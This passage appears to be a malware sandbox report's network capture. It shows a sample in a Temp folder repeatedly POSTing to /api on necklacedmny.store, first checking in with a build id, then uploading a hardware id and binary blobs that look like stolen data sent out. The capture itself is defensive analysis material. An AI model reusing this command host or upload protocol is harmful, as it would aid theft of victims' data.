2024-10-31 04:07:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49949	188.114.97.3	443	3992	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:31 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 04:07:31 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 04:07:31 UTC	1026	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=54gvu0piadh19rb83tjjrtkco7; expires=Sun, 23-Feb-2025 21:54:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=At8v0XJQYA2Zx%2FaSetNdC7XU1lU0PkaeBQs%2FpmzOTg%2FpKgK01K6VTEEMYVQugZerR%2F%2BUXwHsFmM%2FpWTCpbsqwE9Gn5UkAOt4R6EMIpRsjRpepK%2FN%2Fo8wneDaD%2BDsOCBctHw%2BcyI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c756090b4857-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=991&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=954&delivery_rate=2955102&cwnd=241&unsent_bytes=0&cid=606f04f3d55c68f4&ts=432&x=0"
2024-10-31 04:07:31 UTC	343	IN	Data Raw: 34 64 61 0d 0a 46 58 4f 4a 70 67 47 32 59 66 4c 52 49 4d 33 32 2f 57 72 47 4a 2f 49 6a 56 38 32 5a 73 44 4e 45 4f 44 55 68 66 69 43 4d 62 6e 6c 75 55 66 2b 45 4f 34 4a 4e 30 4b 4a 46 37 38 79 4a 47 4c 4e 43 33 67 45 32 71 62 75 4b 56 53 56 55 52 6b 52 53 41 76 6f 44 57 79 38 56 36 4d 70 79 30 30 33 51 74 46 6a 76 7a 4b 59 52 35 45 4b 63 41 57 33 76 2f 4e 70 52 4a 56 52 58 51 42 56 50 2f 41 49 61 66 52 2f 75 7a 6d 54 56 42 5a 4f 39 54 61 69 54 6d 41 75 73 53 5a 74 4f 50 36 43 37 6e 42 45 68 51 68 63 62 58 47 33 70 47 68 68 59 45 76 72 4e 49 38 74 4e 69 66 4e 46 6f 39 54 48 53 4b 64 43 6b 45 38 78 71 66 4c 59 57 79 78 63 56 6b 55 55 55 4f 55 49 45 58 30 52 37 63 39 75 33 42 47 65 74 30 71 6a 6c 5a 49 4c 35 41 76 51 52 69 33 76 6f 35 49 43 46 46 6c 47 55 67 Data Ascii: 4daFXOJpgG2YfLRIM32/WrGJ/IjV82ZsDNEODUhfiCMbnluUf+EO4JN0KJF78yJGLNC3gE2qbuKVSVURkRSAvoDWy8V6Mpy003QtFjvzKYR5EKcAW3v/NpRJVRXQBVP/AIafR/uzmTVBZO9TaiTmAusSZtOP6C7nBEhQhcbXG3pGhhYEvrNI8tNifNFo9THSKdCkE8xqfLYWyxcVkUUUOUIEX0R7c9u3BGet0qjlZIL5AvQRi3vo5ICFFlGUg
2024-10-31 04:07:31 UTC	906	IN	Data Raw: 6b 41 57 79 39 52 37 63 70 69 32 51 4f 43 75 30 6d 6b 6b 59 30 44 72 55 69 64 51 54 69 6c 39 4e 46 52 49 56 42 64 54 42 5a 47 34 77 45 64 64 78 47 72 69 69 50 54 47 39 44 72 41 6f 79 52 6a 77 2b 6f 55 39 4a 37 64 62 43 31 79 78 45 68 56 68 63 62 58 45 72 72 44 78 68 38 48 75 6a 4d 61 4d 59 44 67 72 56 50 71 6f 61 5a 44 61 70 50 6b 31 4d 2f 6f 66 33 52 57 43 31 54 55 6b 51 59 41 71 42 4d 48 47 39 52 73 34 52 43 32 51 69 63 75 56 57 76 31 49 42 47 76 51 57 58 54 58 58 33 75 39 5a 51 49 6c 74 54 54 52 4a 47 34 67 6f 56 65 68 37 74 7a 6d 50 54 43 5a 69 37 51 36 4b 66 6b 41 69 68 53 4a 52 48 4f 61 37 2b 6b 68 39 6d 58 55 38 44 52 41 4c 41 43 78 68 6c 55 39 37 48 62 64 6f 45 68 76 4e 64 34 59 33 66 44 36 67 46 79 41 45 37 71 76 54 41 55 44 52 66 57 56 45 51 52 Data Ascii: kAWy9R7cpi2QOCu0mkkY0DrUidQTil9NFRIVBdTBZG4wEddxGriiPTG9DrAoyRjw+oU9J7dbC1yxEhVhcbXErrDxh8HujMaMYDgrVPqoaZDapPk1M/of3RWC1TUkQYAqBMHG9Rs4RC2QicuVWv1IBGvQWXTXX3u9ZQIltTTRJG4goVeh7tzmPTCZi7Q6KfkAihSJRHOa7+kh9mXU8DRALACxhlU97HbdoEhvNd4Y3fD6gFyAE7qvTAUDRfWVEQR
2024-10-31 04:07:31 UTC	1369	IN	Data Raw: 33 66 39 32 0d 0a 42 6e 32 51 79 5a 75 6b 75 39 6e 70 4d 47 74 6b 69 61 52 44 75 6a 2f 74 31 52 4a 31 74 5a 53 52 63 43 6f 45 77 63 62 31 47 7a 68 45 7a 5a 45 34 4b 35 53 62 37 57 71 67 75 71 53 35 64 58 64 62 43 31 79 78 45 68 56 68 63 62 58 45 6e 6f 41 42 64 33 46 2f 6e 4b 62 4d 59 4a 67 72 64 4d 71 35 69 52 41 61 6c 4b 6c 56 4d 78 72 2b 6e 54 56 43 46 55 57 6c 45 5a 41 71 42 4d 48 47 39 52 73 34 52 5a 34 41 53 41 6f 6b 58 74 6f 5a 77 47 71 6b 4b 47 41 53 72 68 34 70 4a 57 4b 68 6f 50 41 78 39 4f 34 77 55 65 65 41 50 68 79 47 4c 47 42 4a 6d 36 53 4b 36 61 6b 41 4f 6f 51 49 4a 4b 4f 71 66 30 30 31 77 72 55 56 4e 44 58 41 79 75 43 77 4d 33 53 61 76 6c 62 74 73 52 6b 36 49 41 6d 70 65 52 42 71 4e 54 30 46 35 37 74 72 76 56 58 57 59 43 46 30 49 51 54 75 38 Data Ascii: 3f92Bn2QyZuku9npMGtkiaRDuj/t1RJ1tZSRcCoEwcb1GzhEzZE4K5Sb7WqguqS5dXdbC1yxEhVhcbXEnoABd3F/nKbMYJgrdMq5iRAalKlVMxr+nTVCFUWlEZAqBMHG9Rs4RZ4ASAokXtoZwGqkKGASrh4pJWKhoPAx9O4wUeeAPhyGLGBJm6SK6akAOoQIJKOqf001wrUVNDXAyuCwM3SavlbtsRk6IAmpeRBqNT0F57trvVXWYCF0IQTu8
2024-10-31 04:07:31 UTC	1369	IN	Data Raw: 75 7a 50 61 4e 41 48 6b 4c 35 4a 6f 5a 71 57 42 4b 78 4a 6c 31 4d 34 71 76 50 59 57 43 4e 57 57 6b 41 4f 51 65 39 4d 56 54 63 57 38 34 51 37 6c 43 53 6a 68 47 48 76 69 39 45 52 35 45 4b 63 41 57 33 76 2b 74 70 57 4b 46 35 46 54 51 35 4d 36 51 77 64 66 78 6e 73 79 47 33 61 45 5a 69 79 51 71 47 62 6c 77 47 67 52 4a 52 46 4f 61 69 37 6e 42 45 68 51 68 63 62 58 47 72 74 46 67 45 31 50 2b 44 45 5a 4d 51 56 69 2f 4e 64 34 59 33 66 44 36 67 46 79 41 45 78 70 50 48 62 55 69 39 65 57 6b 4d 56 54 65 63 45 46 6e 38 44 36 73 35 78 30 41 61 52 76 45 69 72 6e 4a 4d 48 71 45 47 43 53 6e 58 68 75 39 56 4a 5a 67 49 58 59 78 64 55 7a 52 34 4a 4e 77 36 6c 33 53 50 54 44 39 44 72 41 71 61 59 6e 67 6d 75 51 35 74 45 4f 4b 2f 2b 32 46 59 71 57 6c 64 41 47 6b 54 6a 42 42 4e 37 Data Ascii: uzPaNAHkL5JoZqWBKxJl1M4qvPYWCNWWkAOQe9MVTcW84Q7lCSjhGHvi9ER5EKcAW3v+tpWKF5FTQ5M6QwdfxnsyG3aEZiyQqGblwGgRJRFOai7nBEhQhcbXGrtFgE1P+DEZMQVi/Nd4Y3fD6gFyAExpPHbUi9eWkMVTecEFn8D6s5x0AaRvEirnJMHqEGCSnXhu9VJZgIXYxdUzR4JNw6l3SPTD9DrAqaYngmuQ5tEOK/+2FYqWldAGkTjBBN7
2024-10-31 04:07:31 UTC	1369	IN	Data Raw: 7a 52 43 35 75 31 54 4b 36 53 6b 77 58 6b 43 39 42 47 4c 65 2b 6a 6b 6e 59 38 56 31 46 55 44 58 66 70 44 45 6f 33 44 71 58 64 49 39 4d 50 30 4f 73 43 6f 70 69 56 42 61 46 42 6d 45 59 32 72 76 66 57 58 43 74 65 58 6b 63 5a 55 50 77 4b 46 58 63 65 35 63 74 76 78 67 32 56 73 30 37 76 32 74 38 50 76 41 58 49 41 51 53 34 2b 35 4a 4f 61 45 4d 58 52 42 41 43 74 6b 77 55 65 67 50 6e 79 32 50 56 41 4a 53 34 52 61 6d 53 6e 67 75 68 52 70 56 48 4e 4b 2f 33 32 46 59 75 55 46 6c 4f 47 6b 62 6f 43 6c 73 35 55 65 7a 63 49 34 78 44 6f 72 35 4d 70 70 65 5a 42 62 4a 74 6f 51 45 71 34 65 4b 53 56 69 6f 61 44 77 4d 59 53 65 59 41 48 6e 38 55 36 73 78 70 33 41 79 66 6f 55 4f 67 6e 5a 67 44 71 55 71 65 52 44 75 39 2f 4e 6c 61 4c 6c 4e 5a 52 56 77 4d 72 67 73 44 4e 30 6d 72 38 Data Ascii: zRC5u1TK6SkwXkC9BGLe+jknY8V1FUDXfpDEo3DqXdI9MP0OsCopiVBaFBmEY2rvfWXCteXkcZUPwKFXce5ctvxg2Vs07v2t8PvAXIAQS4+5JOaEMXRBACtkwUegPny2PVAJS4RamSnguhRpVHNK/32FYuUFlOGkboCls5UezcI4xDor5MppeZBbJtoQEq4eKSVioaDwMYSeYAHn8U6sxp3AyfoUOgnZgDqUqeRDu9/NlaLlNZRVwMrgsDN0mr8
2024-10-31 04:07:31 UTC	1369	IN	Data Raw: 58 75 30 61 68 68 70 34 48 35 41 76 51 52 69 33 76 6f 35 4a 67 4d 46 31 51 54 46 35 72 36 52 63 61 66 52 4c 67 79 43 50 4c 54 59 6e 7a 52 61 50 55 78 30 69 70 53 5a 31 46 4a 36 50 37 30 6c 67 68 55 45 56 4d 45 30 2f 74 44 42 35 6c 45 50 6e 4c 61 4e 45 41 6c 4c 78 4e 6f 35 79 56 53 4f 6f 46 6c 31 6c 31 39 37 76 2b 55 6a 64 51 46 57 51 47 56 4f 6b 41 43 6e 77 63 35 34 52 38 6d 68 72 51 74 45 37 76 7a 4e 38 49 70 55 69 43 52 44 53 6c 38 64 39 5a 4b 56 39 53 54 42 68 47 35 51 49 4a 65 52 37 72 77 6d 6a 56 42 70 4f 34 53 4b 47 64 6a 55 6a 71 42 5a 64 5a 64 66 65 37 2b 45 6f 6e 56 31 73 42 4d 6b 6e 34 43 31 6c 57 48 2b 44 44 62 38 4a 44 6a 2f 31 62 37 35 4f 54 53 50 77 46 6d 55 38 35 72 50 7a 61 57 53 4e 61 58 45 4d 54 53 4f 41 4c 43 58 30 64 34 64 5a 73 31 77 Data Ascii: Xu0ahhp4H5AvQRi3vo5JgMF1QTF5r6RcafRLgyCPLTYnzRaPUx0ipSZ1FJ6P70lghUEVME0/tDB5lEPnLaNEAlLxNo5yVSOoFl1l197v+UjdQFWQGVOkACnwc54R8mhrQtE7vzN8IpUiCRDSl8d9ZKV9STBhG5QIJeR7rwmjVBpO4SKGdjUjqBZdZdfe7+EonV1sBMkn4C1lWH+DDb8JDj/1b75OTSPwFmU85rPzaWSNaXEMTSOALCX0d4dZs1w
2024-10-31 04:07:31 UTC	1369	IN	Data Raw: 34 59 33 66 44 36 67 46 79 41 45 31 71 2f 66 52 56 69 68 56 57 6b 77 62 53 65 45 47 46 57 55 65 37 73 78 76 33 41 36 43 75 55 69 39 6e 5a 59 46 71 6b 32 43 51 6e 58 68 75 39 56 4a 5a 67 49 58 63 52 5a 42 34 68 6f 57 65 46 48 30 69 6e 71 55 42 4a 7a 7a 47 75 2b 47 6a 51 69 76 52 5a 64 50 4a 36 37 7a 33 56 73 6d 58 46 78 4a 48 30 76 71 41 68 4a 78 45 4f 62 46 59 74 51 47 6b 4c 70 51 6f 74 54 52 53 4b 4e 64 30 42 6c 31 6d 50 66 5a 59 43 56 4d 46 31 78 53 57 36 34 4c 46 7a 64 4a 71 38 56 78 32 51 75 55 73 30 2b 70 6e 35 34 4a 70 30 57 51 51 6a 57 71 38 4e 31 58 49 56 64 64 53 68 56 51 35 67 67 4a 64 78 33 76 68 43 32 55 42 49 6a 7a 47 75 2b 6b 6e 41 4f 6f 52 5a 31 55 64 62 43 31 79 78 45 68 56 68 63 62 58 45 72 6c 42 78 31 38 45 75 6a 4b 61 4e 34 4d 6e 37 6c Data Ascii: 4Y3fD6gFyAE1q/fRVihVWkwbSeEGFWUe7sxv3A6CuUi9nZYFqk2CQnXhu9VJZgIXcRZB4hoWeFH0inqUBJzzGu+GjQivRZdPJ67z3VsmXFxJH0vqAhJxEObFYtQGkLpQotTRSKNd0Bl1mPfZYCVMF1xSW64LFzdJq8Vx2QuUs0+pn54Jp0WQQjWq8N1XIVddShVQ5ggJdx3vhC2UBIjzGu+knAOoRZ1UdbC1yxEhVhcbXErlBx18EujKaN4Mn7l
2024-10-31 04:07:31 UTC	1369	IN	Data Raw: 51 6d 70 54 70 77 44 4e 4b 4c 72 31 52 46 6f 47 6c 45 44 52 42 4b 67 54 42 39 6d 55 62 4f 55 4d 59 39 57 77 2b 51 53 2f 59 76 52 45 65 52 54 30 42 6c 6e 34 62 76 41 45 58 34 61 45 45 41 4f 55 4f 67 50 44 58 52 57 31 66 70 44 33 77 2b 54 76 30 4f 6f 31 4e 46 49 71 77 58 49 65 48 57 73 36 63 41 65 4e 30 78 61 55 78 73 4f 35 68 30 57 65 31 47 6c 68 43 2f 51 43 4a 79 32 52 62 2f 62 6a 52 69 76 53 59 59 4e 4d 62 32 37 6e 42 45 33 55 56 68 52 45 6b 57 68 48 51 31 36 41 65 6a 42 5a 4a 67 4c 67 62 35 4f 37 39 72 66 48 61 39 4a 6c 6b 77 67 34 4f 72 45 55 6a 42 64 47 30 73 4e 54 2b 4a 4d 4a 44 6c 52 38 34 51 37 6c 44 61 54 76 55 79 6f 67 6f 35 46 68 45 36 63 51 6a 6d 75 2f 4a 49 66 5a 6c 77 58 47 30 38 4d 72 67 67 4b 4e 30 6d 37 6c 6a 69 42 55 4d 66 6a 45 4c 44 61 Data Ascii: QmpTpwDNKLr1RFoGlEDRBKgTB9mUbOUMY9Ww+QS/YvREeRT0Bln4bvAEX4aEEAOUOgPDXRW1fpD3w+Tv0Oo1NFIqwXIeHWs6cAeN0xaUxsO5h0We1GlhC/QCJy2Rb/bjRivSYYNMb27nBE3UVhREkWhHQ16AejBZJgLgb5O79rfHa9Jlkwg4OrEUjBdG0sNT+JMJDlR84Q7lDaTvUyogo5FhE6cQjmu/JIfZlwXG08MrggKN0m7ljiBUMfjELDa
2024-10-31 04:07:31 UTC	1369	IN	Data Raw: 50 51 47 57 62 68 75 38 41 52 66 68 6f 51 54 52 46 44 37 51 49 59 5a 51 50 74 78 33 58 58 52 4b 36 4e 5a 36 4b 5a 6d 67 61 6a 65 36 35 67 50 37 2f 32 33 56 59 59 5a 47 42 53 47 31 4b 73 4b 68 68 68 45 71 75 4b 49 38 78 44 79 50 4e 6a 70 59 53 53 42 36 4d 46 33 67 45 78 37 36 4f 53 64 43 74 58 55 6b 30 62 41 4d 38 47 43 33 6f 65 37 49 51 74 6c 41 2f 51 36 77 4b 75 6e 6f 38 46 71 30 4c 63 52 69 2b 6f 75 35 77 52 4b 42 6f 50 41 78 31 49 2f 67 45 55 63 46 33 74 79 6d 32 55 48 4e 36 71 41 72 6e 55 78 31 76 71 42 59 49 42 62 65 2b 38 33 46 77 6e 57 56 6c 41 44 6c 44 6f 44 77 31 30 56 74 58 36 52 74 6b 4f 6c 62 31 46 6b 61 71 2b 41 72 52 49 6e 30 5a 33 6a 2f 7a 45 55 68 68 6b 59 46 49 62 55 71 77 71 47 47 45 53 71 34 6f 6a 7a 45 50 49 38 32 4f 6c 68 4a 49 48 6f Data Ascii: PQGWbhu8ARfhoQTRFD7QIYZQPtx3XXRK6NZ6KZmgaje65gP7/23VYYZGBSG1KsKhhhEquKI8xDyPNjpYSSB6MF3gEx76OSdCtXUk0bAM8GC3oe7IQtlA/Q6wKuno8Fq0LcRi+ou5wRKBoPAx1I/gEUcF3tym2UHN6qArnUx1vqBYIBbe+83FwnWVlADlDoDw10VtX6RtkOlb1Fkaq+ArRIn0Z3j/zEUhhkYFIbUqwqGGESq4ojzEPI82OlhJIHo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49955	188.114.97.3	443	3992	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:32 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 04:07:32 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:32 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 04:07:33 UTC	1017	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9i7837enobsbiipfr6bed79sjc; expires=Sun, 23-Feb-2025 21:54:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jkM%2BPZTFbfxuiPPelyxKHgBle3Gx%2BSJwfJ3C7wDDvlEm7hU6e7IjWOvo85Q6PKzgfgcemLq9Ttqh8KrJ4vePY8rdGO4dn5wE3yEM1nu%2BMPpwqL1fIVSrKdKOhu2RdG3EqGUZ4RM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c75e3c854653-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1732&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2845&recv_bytes=19132&delivery_rate=1658648&cwnd=251&unsent_bytes=0&cid=f45e08cbd8278872&ts=609&x=0"
2024-10-31 04:07:33 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:07:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49968	188.114.97.3	443	3992	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:34 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 04:07:34 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:34 UTC	1021	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h6gtuch7h3i4kic2ep7p3r7ilg; expires=Sun, 23-Feb-2025 21:54:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=T3ogUgBZBriWpm30oM0fleRp%2BWfus1hD3keL%2BaZRS%2BwYJ8qFoy3CG9ldZXeZQ4%2Bl46Xi6G5Y%2FdYH6Y3EpDRS9QJk3182INvvkcBrl24hf%2FBl9yfZZ8r2365WmKv0ukAGzKO3sW0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c767bdd9b787-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1213&sent=9&recv=14&lost=0&retrans=0&sent_bytes=2844&recv_bytes=9730&delivery_rate=2403319&cwnd=106&unsent_bytes=0&cid=9c1219107eee6b18&ts=582&x=0"
2024-10-31 04:07:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:07:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49983	188.114.97.3	443	3992	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:36 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 04:07:36 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:36 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 